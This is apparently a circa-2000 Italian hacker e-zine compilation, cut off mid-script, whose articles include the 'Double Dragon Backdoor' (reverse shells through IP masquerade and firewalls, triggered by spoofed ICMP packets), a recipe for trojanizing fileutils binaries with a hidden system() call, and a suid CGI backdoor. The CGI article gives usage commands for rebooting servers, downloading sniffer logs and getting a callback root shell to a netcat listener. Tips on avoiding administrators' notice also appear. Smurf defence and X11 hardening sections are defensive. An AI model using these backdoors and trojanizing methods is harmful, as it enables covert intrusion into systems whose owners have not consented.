questi giorni altre che a sbattere la testa sulla tecnologia dei materiali non convenzionali relativamente alla produzione aeronautica... !! (..che >bella l'ho fatta in 1a elementare ma mi annoiavo a morte xche' la sapevo gia' paroloni... hihihi... :))) ..sto anche vedendo un po' come funziona un portscanner... : lo lancio sul mio IP appena entrato in rete (ad esempio dalla porta 0 alla 140) e mi dice connect alla solita porta 139 (nbsession)... Poi lancio telnet e mi connetto ad un sistema remoto con una delle shell account che ho.. e lancio di nuovo il portscanner (sul mio IP e nello stesso range).. COME MAI NON MENZIONA NULLA ALLA PORTA 23 ??? MENTRE dal prompt del DOS con un comando netstat -na(o simili!) "mi dice" della interazione con la porta 23 !? ciao n0body88.. e ti ringrazio in anticipo sperando di risentirci presto.. semmai in chat !! La risposta e' semplice tu ti colleghi alla 23 usando una tua qualke porta alta, magari non tra le wks (well know services) quindi tu magari usi la tua 14321 x collegarti alla 23 dell'univ e infatti sotto netstat -na vedi una interazione con la 23 che non e' tua ma bensi la porta del telnet della tua uni...e cio' ti insegna che se tu ti colleghi a qualcosa non apri un serivizio, xche' e' vero che apri temporaneamente una porta, ma la usi tu x le transazioni di dati. Sperando di essere stato non troppo e inutilmente complicato ti saluto e ti auguro un buon proseguimento di studi. ------------------------------------------------------------------------------ E qui finisce il mio unico intervento su quella che e' nata come una scommessa e che e' cresciuta assieme a coloro che l'hanno creata e portata avanti. Questo articolo e' dedicato a tutti i fratelli con cui non posso piu' chattare tutti i gg come vorrei, a coloro con cui sono cresciuto e che mi hanno fatto crescere nel bene e nel male, che siano cambiati o no, vi voglio bene fratelli e non vi dimentichero' mai. Un saluto speciale a Quequero e tutta la crew della sua city con cui me la sono spassata a Rimini e che mi hanno confortato in un non good moment, a Eagle1 con cui ho passato una nottata fantastica a parlare sempre a Rimini e con il quale mi sento legato piu' che mai, a RigoR che mi fa strippare xche' non faccio manco in tempo a proporre un progetto che e' gia' operativo, a Xunil e Valerio per le pazzie combinate in giro x Torino, a Fake e Nedda che rulezzano sempre piu' e con i quali si fara' prima o poi una rimpatriata trentina, a Devilnet, Cyrax e recidjvo x il minimeet di Milano, ai mitici fratellini spp x il fatto che potro' vantarmi a vita di avere letto "www.spippolatori.com" su Inter.Net di sto mese, a Little John, Malattia, Harlok, Blinking, Black Berry e tutti i fratelli che ho sparsi x l'italia e infine, ma non ultimo x importanza...anzi :D a Smav xche'...esiste :D Smav tvtb :* ۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ۰۲۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ __________________________________________ [ Double Dragon Backdoor ] [ by tHE rECIdjVO ] [ Member of the Packet Knights Crew ] [_________ http://www.pkcrew.org/ _________] TITOLO: Double Dragon Backdoor AUTORE: tHE rECIdjvO GRUPPO: Packet Knights Crew - http://www.pkcrew.org/ CONSUMO: Non mi e' rimasto nulla da mangiare o da bere!!! MUSICA: Varie, tra cui Carmen Consoli e Rage Against the Machine TEMPO: E come faccio a dirlo se sono all'inizio?!? :) DISTRAZIONI: Le due segretarie (purtroppo oggi la vicina non c'e') DISTURBI: Guybrush che non ha nulla da fare, al solito ^^; Bene, ecco l'ennesimo tool inutile che ha prodotto la mia mente malata :) Questa volta si tratta di una backdoor che permette (almeno nelle intenzioni) di fregare il famoso sistema per condividere le connessioni sotto linux: l'IP_MASQ; per uno studio approfondito, potete consultare l'IP-Masquerade HOWTO. Se proprio non sapete che e' il masquerade oppure che e' un howto (d'oh!), faccio un breve riassunto (piu' o meno la traduzione del file README allegato al programma). Il MASQ prende i pacchetti in uscita da una sottorete a indirizzi privati (LAN) e modifica le porte in modo da poterle mandare all'esterno,e, una volta tornate le risistema e le passa al computer che aveva effettuato la richiesta, che non si accorge o quesi del fatto di non essere direttamente su internet, evitando configurazioni lato client come nel caso di server proxy. Il problema, o, se vogliamo vederla in modo diverso, la sicurezza che presenta l'IP_MASQ e' data nel momento in cui ci e' necessario aprire una porta (listen) sulla nostra macchina, e permettere a un computer esterno alla LAN di collegarsi. Rassegnatevi, con il masquerade cosi' com'e' inteso nel senso piu' stretto della parola, non c'e' possibilita' di riuscita, e ora vediamo perche'. Nel momento che qualcuno tenta di collegarsi da fuori verso una nostra porta regolarmente aperta con listen(), in realta' tenta di collegarsi all'ip con cui ti vede all'esterno, che, essendo in uso il masquerade, coincidera' con quello del gateway dove tale modulo e' attivo; la connessione arriv al gateway, che, a seconda che abbia o meno la porta richiesta aperta, accettera' o no la connessione. Ma, anche nel caso in cui l'accettasse, la macchina esterna arriverebbe a un servizio no desiderato, in quanto sul gateway e non sul client. Un esempio e' migliore di mille parole: io mando una richiesta di DCC chat a pippo, dicendogli di usare il mio host e la porta 2053 per la connessione; pippo, ignaro di che tipo di rete stia usando io, tutto contento si collega al mio host... ma... non e' il mio! E' quello del gateway! Quindi la richiesta di connessione non verra' sottoposta alla mia macchina (che avra' la porta 2053 regolarmente aperta ma raggiungibile solo dall'interno della LAN), ma dal gateway che, non avendo nessun servizio attivo sulla 2053, rifiutera' la connessione e droppera' il pacchetto impossibilitando il corretto funzionamento della DCC chat. Per risolvere questo inconveniente, riscontrabile con una infinita' di programmi (da ftp a ReadAudio), sono stati creati degli speciali moduli da usare unitamente al masquerade, come ip_masq_ftp o ip_masq_irc, ma che danno un certo grado di liberta' solamente su alcuni protocolli predefiniti. Di conseguenza, a pessimo avviso, spesso e' considerato inutile proteggere un sistema LAN che sia protetto da masquerade, contando sul fatto che l'accesso alle singole workstation non sia sufficiente per garantirsi un accesso, solo per l'impossibilita' di creare un listen raggiungibile dall'esterno. Questo causa una trascuratezza verso le box. Questo provoca un indebolimento delle regole di firewalling dai pacchetti provenienti dalla rete interna. Questo ci permette, spendendo solo pochi minuti sulla macchina locale, di guadagnarci un acceso stabile raggiungibile dall'esterno, senza dover nemmeno toccare il gateway. Direi che non e' poco, visto tutti i cybercafe e le fiere che offrono di *navigare sull'internet per chattare e cliccare*, e dove la sorveglianza si limita a dire: "hey cos'e' quel commando.com, non sara' mica un sito vietato, eh?" ;) Eccone un semplice schema: /---------\ |--------------| \----------/ |----------| | LAN box | | MASQ gateway | | Internet | | Attacker | \---------/ |--------------| /----------\ |----------| listen < X masquerade X---| route |---< connect Ora noi cosa facciamo? Semplice! :) Date uo occhio al prossimo schema e non ci sara' nemmeno bisogno di parole: /---------\ |--------------| \----------/ |-------| |----------| | LAN box | | MASQ gateway | | Internet | | Shell | | Attacker | \---------/ |--------------| /----------\ |-------| |----------| connect >---| masquerade |---| route |---> pipe <---< connect Hihihihi :) Ecco che cosi' nasce la Double Dragon Backdoor. L'idea e' presa da quel bellissimo (?) gioco che e' Double Dragon III - The sacred stones, che mi ha tenuto compagnia per molti giorni piovosi (o erano solari? boh, quando sono davanti al pc non ci capisco piu' molto del mondo reale - mondo reale?!? - si, quello strano posto dove si racconta ci siano delle splendide creature chiamate *ragazze*... di piu' non so.) I giocatori sono, come ricorderete, i fratelli Lee, Billy e Jimmy. Billy e' il server da mettere sulla LAN box su piattaforma win32, altri menti entra in gioco il ninja Ranzou, per sistemi unixlike (quest'ultimo e' molto piu' potente, comodo e versatile, ma purtroppo spesso ci si trova su macchine win98 dove si rende necessario Billy); Jimmy invece va posizionato su una shell di nostra proprieta' (sottolineo *NOSTRA*;), messa su internet da qualsiasi parte. Poi, come esplicato nello schema il player 1 si collega al player 2 che lo aspetta all'inizio del livello (tutto va bene perche' il MASQ non si oppone). Dall'altro lato noi ci colleghiamo a una seconda porta di Jimmy (definita da un #include), e... magia :) nel caso di Ranzou ci troviamo una shell interattiva, mentre se usiamo Billy abbiamo da usare il protocollo creato apposta, il BTJP (Billy To Jimmy Protocol). Attenzione, se qualcosa va storto la backdoor cerca sempre di ripristinare il corretto funzionamento, ma in caso negativo dovrete tornare sulla macchina e sistemarlo a mano :\ Due veloci note su Billy, per tutto il resto vi consiglio di leggere *TUTTI* i file allegati ai sorgenti (veramente poca roba:) e, se servisse o voleste approfondire, l'IP-Masquerade HOWTO, reperibile da qualche parte nella cartella /usr/doc/. Se dovete compilare Billy per un sistema di cui non siete sicuri, state attenti all'opzione USE_WIN2K, perche' su alcuni sistemi, come Windows 2000, la chiamata alla RegisterServiceProcess() causa un errore irreversibile in fase di avvio, quindi al massimo per sicurezza disattivatela. La cosa migliore e', secondo me, installare un programma come il Dragon Server 2.0 (http://www.shadowopsoftware.com/), dopo telnettarsi con TNET localhost 23 e poter cosi' usufruire del server telnet gia' pronto. Ricordate sempre che quando avete finoto *COMPLETAMENTE* con quell'host, o in caso di emergenza, non basta chiudere la connessione col server, perche' questo continuera' a mandare richieste e si noteranno dei SYN_SENT verso la vostra shell. Uccidete quindi il processo prima di andarvene definitivamente. CONCLUSIONI Come avrete capito questa backdoor non e' nulla di che, giusto per provare un'idea che mi era venuta una notte. Non fate i lameracci a correre in tutti i cybercafe a fare danni, prima riflettete col cervello su quello che volete fare, e poi fatelo. Probabilmente funziona con altri sistemi di proxy non MASQ, ma che applicano gli stessi concetti, e, con opportune accortezze, ai sistemi protetti da Wingate. Fatemi sapere e buon lavoro =) P.S.: Greets e cagate varie li trovate nel file README. LEGGETELO!!! :) tHE rECIdjVO - [PkC] ################################################################# /* FiLeUtIlS.BaCKdooR * * compile with: gcc -o utilsbackdoor fileutils.backdoor * usage: chmod +xwr /dev/mind | ./fileutils.backdoor * */ #include #include #define DanteAlighieri "root" #define title "fileutils.backdoor" #define mind "/dev/null" #define ded_to "/var/women/gf/beatrix" #define target "/dev/newbies" FILE *this_damnd_article; Easy simple & different way 2 trojanize a system. 2do what I'm gonna explain, u need few things: 1-/dev/mind (plz mount it before doin' everythin) 2-fileutils sources 3-bit knowledge of C The idea is as simple as easy to do. Download the fileutils sources and edit them..of course ;) U have just to insert a "system call" in the source code.. this system call will start a bash script that will do what u fuckin want.. plz let me xplain betta & with some 'xamplez: Before the program start everythin' before the main u have to insert a system call of this kind, system("/onlyu/know/this/path/script.sh/") after that u can compile the source and substitute the new command (ls or who f.e.) with tha new trojan one. When u or tha admin will start that command, will automatically start tha script.sh too ;) Dante Alighieri. DAEMON TROIO Non contento del solito crontab trojano x avviare dei processi su shell, ho deciso di scrivere in c un piccolo daemon trojano ke pu essere sostituito a qualsiasi demone. Consiglio di usarlo con inetd o httpd ke sono quelli ke quasi sempre sono attivi su un server. daemontrojan.c alleggato in questa ezine ed spiegato tutto all'interno. Sperando di avervi creato qualcosa di utile anke per voi aspetto vostri commenti, insulti, fack, complimenti, etc etc etc alla mia solita email linux@devilnetrulez.com Byez alla prox DeVVuZ ... xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX Double Dragon Backdoor SFE (Special Firewall Edition) by tHE rECIdjVO Member of the Packet Knights Crew http://www.pkcrew.org/ [INIZIO NOTA INTRODUTTIVA] Questo progetto prende spunto dalla Double Dragon Backdoor, progettata inizialmente per ottenere accesso shell su macchine in LAN protette da masquerading per le quali non si aveva accesso al proxy server. Questa versione invece, sempre sfruttando il concetto di base, si dedica a quella tipologie di macchine che hanno un firewall a protezione dei dati, ma che hanno anche un ip pubblico raggiungibile dalla rete. Ringrazio e saluto DarK-ElF che dopo aver visto il mio programma ha prodotto una versione in formato cgi-bin che fornisce all'incirca gli stessi servizi - dovrebbe essere in questo numero, non perdetevela :) [FINE NOTA INTRODUTTIVA] Dopo aver scritto la Double Dragon Backdoor, in seguito ad avvenimenti che non voglio nemmeno ricordare [ciao dark ;)], ho deciso di scrivere una variante in modo da adattare questa piccola utility a macchine che sono protette da firewall. Il problema con questi pc e' che non sempre si puo' istallare una backdoor che bindi una shell su una porta tcp, quindi bisogna ricorrere a soluzioni alternative come la 007Shell di FuSyS, che pur essendo comoda presenta una serie di inconvenienti che non permettono il suo utilizzo in molte situazioni. Infatti il metodo di tunneling del protocollo ICMP limita molto le dimensioni delle informazioni passate tra il server e il client, quindi risulta molto complesso creare uno stream di dati che sostituisca un socket TCP... D'altra parte spesso e' sconsigliato lasciare impunemente una porta sopra la 1024 aperta sulla macchina remota... e le prime sono firewallate... quindi che fare? Come sicuramente avrete imparato nel corso dei secoli, le porte filtrate da ipchains sono quelle utilizzate dai processi privilegiati che eseguono i server (le prime 1024 porte), mentre al massimo si bloccano le connessioni TCP con flag SYN attivo ENTRANTI nel sistema. Ma non quelle in uscita... :) Quindi, ricapitoliamo... Sul seguito del progetto che mi ha spinto a scrivere la ddb, ovvero quello del callback effettuato dalla macchina remota verso quella locale, vediamo il funzionamento della nuova venuta: ci vuole sicuramente il server che sia costantemente in esecuzione sulla macchina remota, aspettando che *qualcuno* gli comunichi che deve effettuare la procedura di callback, ed i dati necessari a cio'; utilizziamo per questo il protocollo ICMP, visto che e' di facile approccio e spesso non viene droppato dal firewall (provate tutti i tipi prima di rinunciare :). Una volta che il server ha ricevuto il magic packet della richiesta di connessione ed ha autenticato il client, puo' procedere a instaurare una connessione TCP offrendo una shell dall'altro lato dello stream. Quindi, se troviamo almeno un tipo di ICMP non filtrato il gioco e' fatto... Spediamo al server un pacchetto (magari spoofato ;) dove inseriamo il nostro ip, la nostra porta di ascolto, e la password per autenticarsi, aspettando fiduciosi la risposta ^__^ Ora qualche nota tecnica... ovviamente tutti e due i programmi (jimmy-sfe -> client; ranzou-sfe -> server) devono girare da root per poter usare i raw socket necessari per la creazione di pacchetti ICMP, il client per di piu' ha bisogno del netcat (reperibile da www.l0pth.com) per andare in listening e accettare la connessione di callback... vabbe' tanto e' talmente semplice che se leggete il codice lo capite :) Passiamo ora a quello che e' semplicemente la traduzione in italiano del README in inglese (pessimo ;) presente nella release del programma: [ RANZOU SETUP ] La Double Dragon Backdoor SFE permette di raggiungere una shell root o non root sul sistema remoto. Questo perche' e' stata programmata non solo per scopi di attacco, ma anche come un valido strumento di amministrazione non cosi' visibile come il demone in.telnetd :) E' necessaria una password per completare la procedura di callback, e viene fornita una shell con privilegi di USER se questo e' una voce valida del file /etc/passwd, altrimenti root. Queste costanti sono da definirsi prima della compilazione attraverso dei #define. Tutto quello che serve modificare prima della compilazione e' il tipo di ICMP da mandare (0 -> echo-reply e' il default). La sintassi per Jimmy e': jimmy-sfe ranzou_addr: indirizzo del server ranzou_pass: password del server (definita dalla define PASSWD) jimmy_ip: ip del client (your ip, if you don't need a 3 way connection) jimmy_port: porta locale usata dal netcat spoofed_ip: ip spoofato per il pacchetto That's all. tHE rECIdjVO [PkC] [INIZIO NOTA SKAZZO] Io ho un po' di problemi con lo studio e col lavoro. Credo che tutto sia dovuto a un paio di significati divergenti che io e il mondo reale assimiliamo a queste situazioni. Fatemi sapere se sono guaribile. Capo -> Io. Esame -> Giorno dopo lo studio [vedi: Studio] Fidanzata -> Uhm che dite, me ne servirebbe una?!? (siii, peccato che io non serva a loro) Lavoro -> Luogo dove fare cio' che si vuole, sfruttandone le risorse e venendo pagati un'esagerazione per divertirsi Lezione -> Momento di svago tra amici Studio -> Giorno immediatamente prima dell'esame [vedi: Esame] Vita reale -> quello strano mondo fantastico di cui si legge ogni tanto nei libri... [FINE NOTA SKAZZO] ---------------------------------------------------------------------------- ----------------------BACK DOOR CGI by DarK-Elf----------------------------- Ovvero: come backdorrare il tuo sito porno preferito e trarne molto piacere -------------------se nn te ne fotte dei ringraziamenti salta sta parte --- 10x: recidjvo: perk ji ho rippato 3 righe di codice dal ranzou A-synchro & Cthulhu: perk mi hanno fatto imparare qlk a costo del loro prezioso tempo :P FuSyS: leggetevi il file in allegato :P mia sorella: perk nn esiste e indi nn mi rompe i kojombi Adryana e la sua Trib: per il supporto morale :********************** Tutte le stupende ragazze ke perdono il loro tempo a sopportare le mie query da takkinatore depresso :P vi AMO tutte :) una ragazza in partikolare: lei sa ki lei sa perk Lo Smilzo: perk mi ha fottuto il lettuccio per 2 notti di fila ma lo amo lo stesso :P zCooL: perk nonostante tutto simpaticissimo Cr3st4: ke ha gentilmente donato una sorella alla rete :P ManiaK666: perk un mito DanteAlig: ke da quando gioka a quake3 kon lo smilzo nn mi caga + :P DevilNet: perk se lo merita Tutta #cacca e ringrazio anke te se continui a leggere dopo tutte ste puttanate ------------------Roba Seria---------------------------------------------- Molte volte ci si trova davanti a dei server ke anke se hanno seri prob di sikurezza sono molto difficili da ownare perk sono dietro un bel firewall... Spessissime volte infati ji unici host ke possono loggarsi sulla makkina sono quelli della sottorete dietro al firewall... Per questo motivo ho scritto questa cgi ke permette di fare alcune belle cosine :) La prima funzione ke ho implementato la possibilit di ejectare il CD :P [Netbus???] si lo so ke na stronzata ma mi serviva per provare a far eseguire un programmma dalla cgi e darmi una risposta in html... in effetti funge ed molto semplice modificare il codice per far eseguire altri programmi invece ke *eject*. Passando a cosine leggermente + utili ke far impazzire l'admin ecco la funzione per reebottare la makkinaremota... usa semplice system("reboot"); molto utile nel caso combiniate casini ed assolutamente necessario reboottare... ovviamente konsijabile usarlo solo in caso di assoluta necessit visto ke per stupido ke possa essere l'admin il dubbio ji viene quando ji si reboota la makkina :P. Ho inserito anke 3 funzioni per avviare riavviare e kiudere lo psybnc sempre utile nn credete? per dare la path dello psy alla cgi dovete metterla nei define ke sono all'inizio dei sorgenti della cgi... skusate se nn vi ho fatto un *make menuconfig* ma mi sembrava eccessivo :) Ho anke inserito un paio di funzioni sempre utili quando volete controllare lo stato del server da remoto senza loggarvi dentro... ho inserito il PS e il WHO Da CGI anke possibile far partire la 007 shell [grande FuSyS] Per finire cosa molto utile possibile farsi *chiamare* dalla cgi sul proprio ip su una porta ke decidete voi.. basta un nc -p -l 6969 per vedersi il caro server remoto ke ci dona la shell di root :) utile nevvero? Per finire ho inserito anke la possibilit di scaricarsi i log dello sniffer da web ke fa sempre bene alle nostre povere dita :) sempre mejo di logarsi e scaricarselo via ftp :)))) ------------ Settaggio e Uso --------------------------------------------- L'uso di sta cgi semplicissimo. Iniziamo kol preparare il nostro sorgente per funzionare sulla makkina remota; per prima cosa bisogna dichiarare nei define tutti i binari ke kiama la cgi... indi lo psy il reboot il ps ecce ecce :) --------------------------------- Si ma mo kome la uso? ----------------- Per prima cosa la si compila Bash~# gcc -o bd-cgi bd-cgi.c poi bisogna suidarla kome se fosse una suidshell Bash~# chmod +s bd-cgi infine copiarla fra le cgi del server web Bash~# mv bd-cgi /var/lib/apache/cgi-bin/bd-cgi A questo punto la cgi accessibile via browser... infatti se proviamo a fare Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi? vi dovrebbe venir fuori una pagina kon su skritto CGI ERROR see manual questo perk abbiamo fatto partire la cgi senza nessun argomento proviamo a guardare una alla volta tutte le funzioni... Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?ps vi da la lista dei prociessi attivi sul server Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?whois una bella lista deji utenti collegati Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?ejectcd vi viene fuori una bella paginetta e intanto il server sputa fuori il cd:P Passando alle cose *serie* Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?reboot reboota il server Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?psy+start avvia lo psy... notate il + fra psy e start; viene interperetato dal server web come fosse uno spazio e serve per passare il secondo o terzo argomento alla cgi.. per esempio se facciamo na cosa del genere: Bash~$ lynx http://127.0.0.1/cgi-bin/testcgi?primo+secondo+terzo argv[0] = testcgi : il nome della cgi argv[1] = primo argv[2] = secondo argv[3] = terzo indi i 3 comandi per lo psy sono Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?psy+start Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?psy+restart Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?psy+stop rispettivamente per startare riavviare e killare lo psy per far partire la 007 shell basta dare come argomento alla cgi *007* Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?007 per leggere i log dello sniffer Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?sniflog per finire possibile farsi *chiamare* dalla cgi facendo questo [se il nostro ip 1.2.3.4] ALT+F1 Bash~# nc -l -p 6969 ALT+F2 Bash~$ lynx http://127.0.0.1/cgi-bin/bd-cgi?callme+1.2.3.4 Ho cerkato di mettere in questa cgi tutti i modi per aprire un eseguibile o un fileindi in qualsiasi momento voi abbiate bisogno di aggiungere funzioni basta ke date un okkio al kodice gia skritto... sperando di nn avervi annoiato troppo Baci mici alle vostre ragazze madri sorelle e nonne C'ya DarK-Elf ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰ DIFENDIAMOCI DA SMURF-FRAGGLE In questo articolo parlero' ( o almeno cerkero' ) di soluzione pratike per difendersi da un attacco dos piu' temuto : lo smurf ! Speriamo ke io abbia tanto tempo per parlarvi nei prossimi numeri di altri attacchi e di altri metodi di difesa ! ( speriamo :PPPPPPPPP ) Naturalmente non c'e' bisogno ke vi spiega cosa fa lo smurf perke' tutti voi siete a conoscenza di quello ke puo' fare e beno o male lo utilizzate frequentemente tutti voi !Giusto ? Io cmq penso che voi usiate lo smurf perke' lo usano tutti e perke' basta compilarlo, inserire una tabella di broadcast ed il grosso fatto. Sapete cosa sono gli indirizzi di broadcast ? Sapete come funziona quest'attacco cosi' distruttivo ? Se si .. allora saltate questo articolo. Cmq partiamo con la teoria perke' secondo me da lamer usare del codice in c senza sapere come agisce ( questo secondo me .. voi fate come volete ) :PPPPPPPPP Allora , un attacco smurf rikiede la presenza di tre soggetti : l'aggressore ( siete voi ...vi devo dire tutto ? ihihihihi ) , la rete di amplificazione , la vittima ( come vittima vi consiglio : Dante Alighieri(sti cazzi! by Dante)!!! ihihihihihihihihihi skerzo non provateci !!!).L'aggressore invia pacchetti ICMP ECHO contraffatti agli indirizzi broadcast della rete di amplificazione. L'indirizzo di origine dei pacchetti falsificato in modo che il sistema obiettivo risulti come fonte della richista. Quando avviate lo smurf .. alla vittiama succede il finimondo ! Vi spiego : avendo ricevuto il pacchetto ECHO sull'indirizzo di boradcast, tutti i sistemi della rete di amplificazione rispondono alla vittima. Inviando un solo pacchetto ICMP a una rete di amplificazione contenente 100 sistemi in grado di rispondere , l'ggressore riesce a moltiplicare il suo attacco per 100. Spero che spiegato cosi' semplicemente avrete capito come funziona un semplice attacco Dos Smurf. Una variante di questo attacco il FRAGGLE , meno conosciuto ma distruttivo come lo smurf. Sono semplicemente due attacchi simile con la differenza che lo smurf utilizza pacchetti ICMP, invece il FRAGGLE utilizza pacchetti UDP tipicamente sulla porta 7 (echo). Tutti i sistemi della rete su cui sia abilitata l'echo rispondo all'host vittima generando un'enorme quantita' di traffico.Bene , abbiamo parlato di smurf ma ora parliamo di come difenderci da questo benedetto Dos.Per evitare di essere utilizzati come amplificatore , la cosa migliore da fare disabilitare sul router la funzione directed broadcast.Nei Cisco si usa il comando: no ip directed-broadcast.Alcuni s.o. permettono di scartare gli ICMP ECHO broadcast . Vediamo un po' come ! Nelle solaris 2.6,2.5,2.4,2.3 sufficiente aggiungere la seguente linea di codice nel file /etc/rc2.d/S69inet : ndd -set /dev/ip ip respond_to_echo_broadcast 0 Sui linux possiamo attivare il firewall a livello kernel utilizzando ipfw. Verificate di aver compilato il kernel con questa opzione e dopo digitate questi comandi : ipfwadm -I -a deny -P icmp -D ind.di.broadcast.0 -S 0/0 0 8 ipfwadm -I -a deny -P icmp -D ind.di.broadcast.255 -S 0/0 0 8 Per le FreeBSD basta editare sysctl e disabilitare il parametro net.inet.icmp.bmcastecho. Per inpedire invece di rispondere al FRAGGLE a sistemi unix disattivare echo e chargen in /etc/inetd.conf anteponendo al nome del servizio un #. Bene credo che piu' facile di cosi' non potevo spiegare un argomento su cui ho letto una decina di libri!!. P.S.L'autore di questo articolo non lo ha firmato...spero provvedera' al + presto a mandarmi sue notizie..inseriro' con piacere il suo nome :) METTIAMO UN LUCCHETTO AD " X " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ this art. is dedicated to:Dante e N0body88 che continuano a portare avanti NewbieS.Spero di incontrarvi un giorno :) this art. is dedicate also to:tutte le ragazze chedopo aver letto le righe sopra pensano che io sia un gay.la mia e-mail sospiro@freemail.it ;) INTRODUZIONE AD XWINDOW *********************** Ok,fatti i giusti ringraziamenti iniziamo l'articolo che vi far conoscere quanto XWindow si poco sicuro e come sia facile recuperarne informazioni preziose se non si applicano alcune regole per renderlo un p piu' sicuro. Spieghiamo innazitutto cos' X per chi ha appena installato Linux o per chi non l'ha ancora fatto: X E' IL SISTEMA GRAFICO UTILIZZATO DA LINUX.In pratica quando ,dopo esservi loggati sul sistema,digitate "startx" avviate niente pop (?) di meno che X (beh penso che questo lo abbiano capito tutti vero?:) Quello che succede quando lanciate questo comando avviare un server X che aspetta a sua volta un client cio tutte le applicazioni che poi lanciate all'interno del sistema grafico.Esse comunicano ,al momento del lancio, le coordinate dei punti e delle linee che il server dovr "disegnare".Con questo metodo basato sul rapporto client/server facile intuire che la stessa cosa pu avvenire in una network,ad esempio su un sistema A si potranno eseguire applicazioni su un server che gira su un sistema B. PERMESSI DI CONNESSIONE *********************** Purtroppo proprio a causa di questa possibilit di collegarsi anche da remoto si sono presentate grosse falle nel sistema di sicurezza. Infatti,se X non viene configurato a dovere, tutti possono collegarsi ad un display X loggando la tastiera,dumpando le immagini sullo schermo e eseguire applicazioni su questo display. Vediamo un p di esempi pratici usando alcuni comandi: $ xhost + con questo comando si disabilita il controllo su tutte le connessioni in modo che tutti gli hosts possano collegarsi al nostro server X. $ xhost + 212.254.21.2 in questo modo invece,com' facile intuire, si abilita la connessione al server ad un determinato host in questo caso 212.254.21.2 $ xhost - con questo comando invece si abilita il controllo sulle connessioni in modo che nessuno possa collegarsi tranne ovviamente localhost (cio voi) Digitando semplicemente " xhost " si controlla lo stato di accesso al vostro serverX in questo modo potrete eventualmente cambiarlo. Per trovare server X "aperti" si pu usare uno scanner che collegandosi alla porta 6000 (quella usata dal server) chiama XOpenDisplay("IP-ADDRESS:0.0") che risponder con la situazione del display cio se attivo il controllo sulle connessioni.In questo caso il messaggio che il client vedr sar il seguente: Xlib: connection to "display:0.0" refused by server Xlib: Client is not authorized to connect to Server IL PROBLEMA LOCALHOST ************************* Per c' un'altro problema.Attivando il controllo con il comando " xhost - " nessun host potr collegarsi da remoto sul server,ma se un qualcuno gi riuscito ad entrare nel sistema come utente normale?La risposta che quell'utente pu bypassare la protezione e collegarsi al display in localhost.Vediamo come: $ xwd -root -display localhost:0.0 > file.xwd $ xwud -in file.xwd In poche parole l'user cattivello usa il programma xwd che serve appunto a dumpare le finestre all'interno di X WIndow e salvare l'immagine in un particolare formato che pu essere letto da altre applicazioni X.Una di queste xwud che come vediamo attraverso il comando scritto sopra pu leggere un file salvato con xwd. Voi che siete tutti user cattivelli :) starete pensando di dumpare un xterm leggendo cos tutti le cose piu' segrete del sys admin.Per fortuna ( o purtroppo dipende dai punti di vista) questo non possibile perch lanciando il comando $ xwd -name xterm riceverete un errore che vi negher l'operazione. Oltre che dumpare le window del r00t potrete anche loggare tutti i tasti della tastiera da lui premuti e mandare i "propri tasti" premuti al processo facendo scrivere all'admin l'impensabile:) Di programmi che permettono questa operazione c' ne sono ma il piu' famoso (secondo me) "xkey".In alcuni casi possibile usare questa tecnica su un xterm .Questo molto pericoloso per l'admin perch in un terminale vengono scritte una miriade di passwords e di altre cose che sarebbe meglio non divulgare.Cmq ,per fortuna, ci sono delle tecniche per impedire che avvenga l'invio di caratteri su un xterm: 1)controllare che la seguente linea sia uguale a quella presente in /root/.Xdefaults: xterm*allowSendEvents False 2)Guardare che Allow Sendevents nelle opzioni del terminale non sia selezionato Per impedire invece che l'output venga letto dovrete selezionare l'opzione Secure Keyboard nelle opzioni del terminale (potrete richiamare il menu' delle opzioni con CTRL+LEFT del vostro mouse) .Xauthority *********** Infine,segnalo la presenza del file .Xauthority nella home dell'utente.Questo file viene creato da xdm dopo il login ed binario quindi pu essere letto soltanto dal comando xauth. Vediamo come si presenta .Xauthority: $ xauth list ip_del_display:0 MIT-MAGIC-COOKIE-1 73772367724b76682f726d89624a684c | | | nome del display tipo di autorizzazione key Ogni sessione viene creata una nuova key che quindi solo il root pu leggere.Per far aprire il display da un altro user dovrete prima informarlo della key e quindi lui user il display con il seguente comando: $ xauth add ip_del_display:0 MIT-MAGIC-COOKIE-1 73772367724b76682f726d89624a684c In caso di una connessione non riuscita il root ricever il seguente avviso: AUDIT:Sat Jul 8 11:22:08 2000: 898 X:client 11 rejected from ip 127.0.0.1 port 1026 Siamo cos giunti alla fine della articolo,se siete interessati all'argomento vi consiglio di leggere le seguenti advisory: Se non avete capito qualcosa,volete farmi qualche domanda o se avete delle sorelle che assomigliano a Jenna Jameson la mia e-mail : sospiro@freemail.it Byez SosPiro Fate "ciao ciao" con la manina a kppp ... ADDIO kppppppp ... Bhe rag ... un art veloce veloce x spiegarvi come connettersi ad internet senza usare quel fastidioso kppp simil winzoz del KDE. seplicissimo ... logghiamoci da root. per prima cosa diamo una rapida editata al file /etc/ppp/pap-secrets # Secrets for authentication using PAP # client server secret IP addresses username * password inserite quindi una stringa contente username e password della vostra connessione divise da un * Ora editare il file /etc/ppp/options e inserite all'interno queste rigeh: /dev/ttyS0 #<-- porta del modem 115200 #<-- velocit di trasmissione debug lock crtscts defaultroute mtu 552 mru 552 salvate e spostatevi nella dir /bin creamo quindi qui lo scriptino x la conessione vero e proprio: -------------------CUT-------------------- #!/bin/bash killall pppd pppd connect '/usr/sbin/chat -v "" ATDT800XXXXXXX CONNECT "" 